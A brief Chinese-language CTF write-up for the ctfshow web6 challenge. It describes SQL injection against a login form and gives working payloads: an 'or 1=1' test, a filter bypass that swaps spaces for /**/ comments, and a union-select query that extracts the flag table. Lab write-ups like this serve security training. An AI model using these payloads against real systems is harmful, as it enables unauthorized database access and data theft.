ctfshow-web6

0x00 前言

• CTF 加解密合集
• CTF Web合集

0x01 题目

0x02 Write Up

看到是一个登录框，所以先考虑到是sql注入。

使用通用payload进行测试

username=a' or 1=1#&password=a

发现这里出现了 sql inject error

然后测试看是哪一个字符触发了，测试后发现是空格会触发这个问题

那么我们可以选择使用/**/代替空格

然后就是正常流程

username=a'/**/union/**/select/**/1,flag,3/**/from/**/web2.flag#&password=a

以上